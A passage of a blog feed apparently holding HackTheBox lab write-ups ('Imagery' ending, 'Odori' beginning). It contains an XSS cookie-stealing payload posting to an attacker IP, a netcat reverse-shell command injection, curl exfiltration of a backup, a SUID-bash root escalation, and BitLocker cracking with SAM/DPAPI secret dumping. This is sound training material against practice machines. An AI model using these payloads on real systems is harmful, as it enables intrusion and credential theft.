&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And running a simple http server with python.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We get a call back, so now lets try and add some code.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src/onerror=&quot;fetch(&apos;http://10.10.14.162&apos;, { method: &apos;POST&apos;, mode: &apos;no-cors&apos;, body:document.cookie });&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This XSS flaw leads to cookie theft, now we the admin session. We swap our
cookies and enter as the admin.&lt;/p&gt;
&lt;p&gt;Continuing when further going through the source we can see an &lt;strong&gt;LFI (Local File
Inclusion)&lt;/strong&gt; vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which returned:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The LFI lets us read arbitrary files on the server, crucial for further
enumeration.&lt;/p&gt;
&lt;h2&gt;Investigating the Application (app.py)&lt;/h2&gt;
&lt;p&gt;Examining application source files revealed key information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The app uses Flask with various blueprints for modular routes.&lt;/li&gt;
&lt;li&gt;Passwords are stored as MD5 hashes.&lt;/li&gt;
&lt;li&gt;Admin and testuser account hashes:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31  
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The testuser password was cracked offline with hashcat:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 0 -a 0 hashes.txt ~wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;resulting in: &lt;code&gt;2c65c8d7bfbca32a3ed42596192384f6&lt;/code&gt; → &lt;code&gt;iambatman&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Remote Code Execution via Image Transformation&lt;/h2&gt;
&lt;p&gt;With access to the test user we can try out the experimental features. First we
take a look at the &lt;code&gt;api_edit.py&lt;/code&gt; blueprint which we get via the LFI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unique_output_filename = f&quot;transformed_{uuid.uuid4()}.{original_ext}&quot;
output_filename_in_db = os.path.join(&apos;admin&apos;, &apos;transformed&apos;, unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == &apos;crop&apos;:
    x = str(params.get(&apos;x&apos;))
    y = str(params.get(&apos;y&apos;))
    width = str(params.get(&apos;width&apos;))
    height = str(params.get(&apos;height&apos;))
    command = f&quot;{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The parameters &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; are not sanitized, allowing command injection. As
these are just append to the string.&lt;/p&gt;
&lt;p&gt;Testing command injection payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With on the host running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvnp 9000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Spawned a reverse shell successfully, only closing directly after. So we add a
&lt;code&gt;sleep&lt;/code&gt; to keep the connection open.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash &amp;amp;&amp;amp; sleep 10000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;User Escalation to &quot;mark&quot;&lt;/h2&gt;
&lt;p&gt;No initial password found for &lt;code&gt;mark&lt;/code&gt;. After further enumeration, a backup file
was found using &lt;code&gt;linpeas&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can downloaded this backup back to our host&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST https://10.10.14.162:4443/upload -F &apos;files=@/var/backup/web_20250806_120723.zip.aes&apos; --insecure
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running file on it show that it has been encrypted using pyAesCrypt. So we let
ChatGPT make a little python password bruteforcer and crack it using the rockyou
wordlist:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./crack.py -e backup.zip.aes -w ~wordlists/rockyou.txt

=== SUCCESS ===
Password found (line 670): &apos;bestfriends&apos;
Decrypted file written to: decrypted.bin
Attempts: 670
Done.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside the backup’s &lt;code&gt;db.json&lt;/code&gt; file, credentials for &lt;code&gt;mark@imagery.htb&lt;/code&gt; were
found with an MD5 hash (&lt;code&gt;01c3d2e5bdaf6134cec0a367cf53e535&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;hashcat&lt;/code&gt; again, the hash was cracked as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;01c3d2e5bdaf6134cec0a367cf53e535 : supersmash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This password allowed us to switch to user &lt;code&gt;mark&lt;/code&gt; using &lt;code&gt;su&lt;/code&gt; and capturing the
user flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Privilege Escalation to Root&lt;/h2&gt;
&lt;p&gt;Checking sudo permissions for &lt;code&gt;mark&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=...
User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;charcol&lt;/code&gt; is a backup utility permitting cron job additions.&lt;/p&gt;
&lt;p&gt;Adding a cron job to change the SUID bit on bash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;charcol add --schedule &quot;* * * * *&quot; --name root --command &quot;chmod +s /bin/bash&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which we then can utilize by running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/bash -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This launches a shell with root privileges.&lt;/p&gt;
&lt;p&gt;Finally, we get root flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /root/root.txt
8a768616559f07cd2e87966380f540c8
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lessons Learned&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Closely evaluate source code, checking for missing sanitization or injection
possibilities.&lt;/li&gt;
&lt;li&gt;Password hashes can often be cracked offline with rockyou or other wordlists.&lt;/li&gt;
&lt;li&gt;Custom utilities with sudo rights are prime privilege escalation targets,
especially if they allow cron job scheduling.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: Odori</title><link>https://dorp.me/posts/odori</link><guid isPermaLink="true">https://dorp.me/posts/odori</guid><description>A writeup for the HackTheBox Odori machine.</description><pubDate>Tue, 27 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;The box only exposes three ports: an SMB service and SSH. The SMB share accepts anonymous connections, which allows reading a disk backup. The Windows disk is encrypted with BitLocker, but the password is crackable with john. After that the disk can be mounted and decrypted. On the disk a backup script gives the username for SFTP, whose password can be found in DPAPI. Using the local secrets store the DPAPI credentials can be decrypted, which provides a user password. Only SFTP could be used to log in, which provides limited file upload and read. The &lt;code&gt;sshd_config&lt;/code&gt; shows the restricted environment script, and this script is writable by our user, so it can be changed into a full shell, giving the user flag. In the &lt;code&gt;/opt&lt;/code&gt; folder a backup script can be identified with a &lt;code&gt;__pycache__&lt;/code&gt;, and this cache is world writable. From &lt;code&gt;pspy&lt;/code&gt; we find that the script is run every minute. In the compiled cache the path can be changed to our own script that sets the setuid bit on bash. Finally the backup helper script can be triggered by writing a file with a tampered timestamp to the target directory, giving a root shell via our modified bash.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;First we get an idea of the attack surface we are dealing with, for this we run a &lt;code&gt;nmap&lt;/code&gt; against the top ports with service discovery.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ sudo nmap -sV -sC -T5 -oA ./03_Scans/Service/Services odori.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:15 +0000
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:15 (0:00:12 remaining)
Nmap scan report for odori.htb (10.129.131.29)
Host is up (0.015s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: ODORI, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2026-10-22T17:15:15
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.77 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see that only the samba ports are exposed next to the default ssh port. From the results we can identify it as a Linux host.&lt;/p&gt;
&lt;p&gt;When running &lt;code&gt;nmap&lt;/code&gt; again with &lt;code&gt;--script=vuln,vulners&lt;/code&gt; we get many results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nmap -sV -sC --script=vuln,vulners -T5 -oA ./03_Scans/Service/Services odori.htb
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-22 17:16 +0000
Nmap scan report for odori.htb (10.129.131.29)
Host is up (0.036s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:8.9p1:
|     	PACKETSTORM:179290	10.0	https://vulners.com/packetstorm/PACKETSTORM:179290	*EXPLOIT*
|     	1EEC8894-D2F7-547C-827C-915BE866875C	10.0	https://vulners.com/githubexploit/1EEC8894-D2F7-547C-827C-915BE866875C	*EXPLOIT*
|     	09B905C6-CD97-54E6-AD97-B0DD1AC4771B	10.0	https://vulners.com/githubexploit/09B905C6-CD97-54E6-AD97-B0DD1AC4771B	*EXPLOIT*
|     	PACKETSTORM:173661	9.8	https://vulners.com/packetstorm/PACKETSTORM:173661	*EXPLOIT*
|     	F0979183-AE88-53B4-86CF-3AF0523F3807	9.8	https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807	*EXPLOIT*
|     	CVE-2023-38408	9.8	https://vulners.com/cve/CVE-2023-38408
|     	CVE-2023-28531	9.8	https://vulners.com/cve/CVE-2023-28531
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These however seem to be false positives, as the quick PoC we try does not work.&lt;/p&gt;
&lt;h3&gt;SMB&lt;/h3&gt;
&lt;p&gt;We enumerate SMB further to see which shares are available.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ rpcclient -U &quot;&quot; odori.htb
Password for [WORKGROUP\]:
rpcclient $&amp;gt; srvinfo
	ODORI          Wk Sv PrQ Unx NT SNT odori server (Samba, Ubuntu)
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03
rpcclient $&amp;gt; enumdomains
name:[ODORI] idx:[0x0]
name:[Builtin] idx:[0x1]
rpcclient $&amp;gt; netsahreenumall
command not found: netsahreenumall
rpcclient $&amp;gt; netshareenumall
netname: print$
	remark:	Printer Drivers
	path:	C:\var\lib\samba\printers
	password:	
netname: backup
	remark:	Server Backups
	path:	C:\backup
	password:	
netname: IPC$
	remark:	IPC Service (odori server (Samba, Ubuntu))
	path:	C:\tmp
	password:	
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is a readable share &lt;code&gt;backup&lt;/code&gt; from which we could extract some interesting information.&lt;/p&gt;
&lt;p&gt;To dump all the share&apos;s data we use &lt;code&gt;netexec&lt;/code&gt; with &lt;code&gt;spider_plus&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nxc smb odori.htb -u &quot;&quot; -p &quot;&quot; -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./
SMB         10.129.131.29   445    ODORI            [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:False) (Null Auth:True)
SMB         10.129.131.29   445    ODORI            [+] ODORI\:
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.131.29   445    ODORI            [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 10.129.131.29   445    ODORI            [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] EXCLUDE_FILTER: [&apos;print$&apos;, &apos;ipc$&apos;]
SPIDER_PLUS 10.129.131.29   445    ODORI            [*]   EXCLUDE_EXTS: [&apos;ico&apos;, &apos;lnk&apos;]
SPIDER_PLUS 10.129.131.29   445    ODORI            [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.131.29   445    ODORI            [*]  OUTPUT_FOLDER: ./
SMB         10.129.131.29   445    ODORI            [*] Enumerated shares
SMB         10.129.131.29   445    ODORI            Share           Permissions            Remark
SMB         10.129.131.29   445    ODORI            -----           -----------            ------
SMB         10.129.131.29   445    ODORI            print$                                 Printer Drivers
SMB         10.129.131.29   445    ODORI            backup          READ                   Server Backups
SMB         10.129.131.29   445    ODORI            IPC$                                   IPC Service (odori server (Samba, Ubuntu))
SPIDER_PLUS 10.129.131.29   445    ODORI            [+] Saved share-file metadata to &quot;./10.129.131.29.json&quot;.
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] SMB Shares:           3 (print$, backup, IPC$)
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] SMB Readable Shares:  1 (backup)
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] Total folders found:  0
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] Total files found:    1
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] File size average:    66 B
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] File size min:        66 B
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] File size max:        66 B
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] File unique exts:     1 (txt)
SPIDER_PLUS 10.129.131.29   445    ODORI            [*] Downloads successful: 1
SPIDER_PLUS 10.129.131.29   445    ODORI            [+] All files processed successfully.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The backup share only contained a text file &lt;code&gt;info.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Please download the .vmdk file linked in the machine description.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The original lab likely contained the disk image itself. But for this retired machine the image could be downloaded from the machine&apos;s description.&lt;/p&gt;
&lt;h2&gt;Disk image&lt;/h2&gt;
&lt;p&gt;In total this was a 7zip archive of 18 GB, so we had to wait a bit for it to come in.
We can then extract it with 7zip:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ 7z e odori.7z

7-Zip 26.02 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-06-25
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:4096, ASM

Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)

Extracting archive: odori.7z

Enter password (will not be echoed):
--
Path = odori.7z
Type = 7z
Physical Size = 19795590292
Headers Size = 228
Method = LZMA2:25 7zAES
Solid = -
Blocks = 1

 31% - file02.vmdk
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave us a VMware disk image.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;7z&lt;/code&gt; we can also inspect the contents of the &lt;code&gt;vmdk&lt;/code&gt;, which reveals Windows disk partitions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ 7z l file02.vmdk
[...]
        Size   Compressed  Name
------------ ------------  ------------------------
   104857600    104857600  0.EFI system partition.img
    16777216     16777216  1.Microsoft reserved partition.img
 20800602112  20800602112  2.Basic data partition.img
   549453824    549453824  3.ntfs
------------ ------------  ------------------------
 21471690752  21471690752  4 files
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;2.Basic data partition.img&lt;/code&gt; looks like the largest partition, but I could not mount it directly.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ sudo guestmount -a file02.vmdk -m /dev/sda2 --ro ./vmdk-mnt 
libguestfs: error: mount_options: mount exited with status 32: mount: /sysroot: wrong fs type, bad option, bad superblock on /dev/sda2, missing codepage or helper program, or other error.
       dmesg(1) may have more information after failed mount system call.
guestmount: ‘/dev/sda2’ could not be mounted.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This indicates that it might be BitLocker encrypted.&lt;/p&gt;
&lt;p&gt;Using bitlocker2john we were able to identify some hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ bitlocker2john -i file02.vmdk | tee hash
Encrypted device file02.vmdk opened, size 19122MB

Signature found at 0x330003
Version: 8
Invalid version, looking for a signature with valid version...

Signature found at 0x25c00000
Version: 2 (Windows 7 or later)

VMK entry found at 0x25c000f3

VMK encrypted with Recovery Password found at 0x25c00114
Salt: 0e51a3612966f798a7c1453cc00c17fb
Searching AES-CCM from 0x25c00130
Trying offset 0x25c001c3....
VMK encrypted with AES-CCM!!
RP Nonce: a054f9580964db0107000000
RP MAC: 8f21deeb81c915a00826ec90fc8058ab
RP VMK: 4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da


VMK entry found at 0x25c0027f

VMK encrypted with User Password found at 25c002a0
VMK encrypted with AES-CCM
UP Nonce: e0ff381f1d64db010c000000
UP MAC: 5cefbde7d7788cb3dcec4313763d63a0
UP VMK: 283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some processing we get the recovered hashes that we can try and crack:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Signature found at 0x4a15aff78
Version: 0
Invalid version, looking for a signature with valid version...

User Password hash:
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$5cefbde7d7788cb3dcec4313763d63a0283b20ae436e5143bad910d6a944f70314914437ea65feadcef0d03418abb50757302fc9093e321cdee965a5
Hash type: Recovery Password fast attack
$bitlocker$2$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$0e51a3612966f798a7c1453cc00c17fb$1048576$12$a054f9580964db0107000000$60$8f21deeb81c915a00826ec90fc8058ab4d3e0fafb11edbc2b692479fc186f348ed9735f1201614b627dc226ec18d718c96a2ac91bea03e84d36e88da
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We pass these hashes to john with the &lt;code&gt;rockyou.txt&lt;/code&gt; word list.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ john --format=bitlocker hash ~wordlists/rockyou.txt
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Warning: invalid UTF-8 seen reading /usr/share/wordlists//rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 12 OpenMP threads
Proceeding with single, rules:Single
Press &apos;q&apos; or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789        (?)
123456789        (?)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resulting in the password (&lt;code&gt;123456789&lt;/code&gt;) which can be used to decrypt the volume.&lt;/p&gt;
&lt;p&gt;I was not able to mount the vmdk directly so we first convert it with &lt;code&gt;qemu-img&lt;/code&gt; to a raw disk image.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ qemu-img convert -f vmdk -O raw ./file02.vmdk file02.img
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After which we create a loop device so we can interact with it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ sudo modprobe loop
 
 $ sudo losetup -fP ./file02.img
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can now see the partitions as block devices on our host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; $ lsblk /dev/loop0
NAME        MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINTS
loop0         7:0    0   20G  0 loop
├─loop0p1   259:0    0  100M  0 part
├─loop0p2   259:1    0   16M  0 part
├─loop0p3   259:2    0 19.4G  0 part
└─loop0p4   259:3    0  524M  0 part
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With &lt;code&gt;cryptsetup&lt;/code&gt; we can decrypt the data partition and get a disk mapping. As the password we use &lt;code&gt;123456789&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo cryptsetup bitlkOpen /dev/loop0p3 btl_win
Enter passphrase for /dev/loop0p3:
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After which we mount the newly created mapping.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo mount /dev/mapper/btl_win vmdk-mnt
The disk contains an unclean file system (0, 0).
Metadata kept in Windows cache, refused to mount.
Falling back to read-only mount because the NTFS partition is in an
unsafe state. Please resume and shutdown Windows fully (no hibernation
or fast restarting.)
Could not mount read-write, trying read-only
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This finally gives us access to the Windows drive.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ tree -L 1 vmdk-mnt
 vmdk-mnt
├──  $Recycle.Bin
├──  $WinREAgent
├──  Config
├──  Data
├──  &apos;Documents and Settings&apos; -&amp;gt; /home/kali/Shared/HTB/Odiri/vmdk-mnt/Users
├──  DumpStack.log.tmp
├──  pagefile.sys
├──  PerfLogs
├──  ProgramData
├──  &apos;Program Files&apos;
├──  &apos;Program Files (x86)&apos;
├──  Recovery
├──  Scripts
├──  &apos;System Volume Information&apos;
├──  Users
└──  Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Windows disk pillaging&lt;/h2&gt;
&lt;p&gt;In &lt;code&gt;Scripts&lt;/code&gt; we find a backup script without a password, but it does show us how to connect over SSH.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; Odiri/vmdk-mnt/Scripts  $ cat backup.ps1
# Odori Backup Script

&amp;lt;#

# Backup via SFTP

# Install and Import Posh-SSH module if not already installed
# Install-Module -Name Posh-SSH -Force -Scope CurrentUser

$SFTPServer = &quot;odori.vl&quot;
$SFTPPort = 22
$SFTPUser = &quot;svc_backup&quot;
$SFTPPassword = &quot;***&quot;
$SFTPRemoteFolder = &quot;/backup&quot;


try {
    $SFTPSession = New-SFTPSession -ComputerName $SFTPServer -Port $SFTPPort -Credential (New-Object PSCredential($SFTPUser, (ConvertTo-SecureString $SFTPPassword -AsPlainText -Force)))
    Write-Host &quot;Starting backup via SFTP...&quot;
    Set-SFTPItem -SessionId $SFTPSession.SessionId -LocalPath &quot;$SourceFolder\*&quot; -RemotePath $SFTPRemoteFolder -Recurse
    Write-Host &quot;Backup via SFTP completed successfully.&quot;
    Remove-SFTPSession -SessionId $SFTPSession.SessionId
} catch {
    Write-Host &quot;Error during SFTP backup: $($_.Exception.Message)&quot;
}
#&amp;gt;

# Backup via SMB

$SourceFolder = &quot;C:\data&quot;
$DestinationFolder = &quot;\\odori.vl\backup&quot;

if (-not (Test-Path -Path $DestinationFolder)) {
    New-Item -ItemType Directory -Path $DestinationFolder -Force
}

Write-Host &quot;Starting backup via SMB...&quot;
try {
    Copy-Item -Path $SourceFolder\* -Destination $DestinationFolder -Recurse -Force
    Write-Host &quot;Backup completed successfully.&quot;
} catch {
    Write-Host &quot;Error during backup: $($_.Exception.Message)&quot;
}%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the Administrator&apos;s Downloads we see a PuTTY installer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls Users/Administrator/Downloads -l
.rwxrwxrwx   282 root  8 Jan  2025 󱁻 desktop.ini
.rwxrwxrwx@ 3.8M root 11 Jan  2025  putty-64bit-0.82-installer.msi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looking in the registry for passwords:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ reglookup Users/Administrator/NTUSER.DAT | grep SimonTatham
/Software/SimonTatham,KEY,,2025-01-11 09:32:13
/Software/SimonTatham/PuTTY,KEY,,2025-01-11 11:02:12
/Software/SimonTatham/PuTTY/Jumplist,KEY,,2025-01-11 13:24:01
/Software/SimonTatham/PuTTY/Jumplist/Recent sessions,MULTI_SZ,,
/Software/SimonTatham/PuTTY/Sessions,KEY,,2025-01-11 13:24:01
/Software/SimonTatham/PuTTY/SshHostKeys,KEY,,2025-01-11 11:02:12
/Software/SimonTatham/PuTTY/SshHostKeys/ssh-ed25519@22:odori.vl,SZ,0x5fb2f0d6500478d7f92d95d4b0f753051522f7ae11cca6a8db5c0bc3740312d6%2C0x554893fc3229e1ed6b9070f25d5492c3cf0ed527b373f40fc6af507b11e1fd9f,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This only yields the server&apos;s public key.&lt;/p&gt;
&lt;p&gt;We try to dump the registry hives for crackable passwords:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ secretsdump.py LOCAL -system SYSTEM -sam SAM -security SECURITY &amp;gt; secdump
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~/Shared/HTB/Odiri/secdump
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xed44fa9df4c6a93d1ebe33bff5083393
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b56b03d0393ad23e2a893f1c754b0719:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:63d7c1f6a1a8378eba2ee87246bf7140:::
svc_backup:1000:aad3b435b51404eeaad3b435b51404ee:be3071bd4cce75e2bbd3c79c7ec5380e:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb7db177e591e961acac578175c1139626e36b40b
dpapi_userkey:0xe72f58588ec7fe6a0733db679d91fee53a3a1896
[*] NL$KM
 0000   E1 18 0C E9 50 D9 C9 D9  98 05 1A 78 D3 75 6F D7   ....P......x.uo.
 0010   90 18 8F 7E E4 78 44 64  EF BA 43 E6 24 78 60 47   ...~.xDd..C.$x`G
 0020   79 1E A8 B2 BC 1C 51 8B  E2 21 4D 7E 25 7F 39 75   y.....Q..!M~%.9u
 0030   77 9F 39 E0 D3 C8 78 72  A9 88 6E 05 A2 42 1B 7F   w.9...xr..n..B..
NL$KM:e1180ce950d9c9d998051a78d3756fd790188f7ee4784464efba43e624786047791ea8b2bc1c518be2214d7e257f3975779f39e0d3c87872a9886e05a2421b7f
[*] Cleaning up...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trying to crack these does not give any results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat -m 1000 -a 0 hashes ~wordlists/rockyou.txt

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1000 (NTLM)
Hash.Target......: hashes
Time.Started.....: Thu Oct 22 19:44:24 2026 (1 sec)
Time.Estimated...: Thu Oct 22 19:44:25 2026 (0 secs)
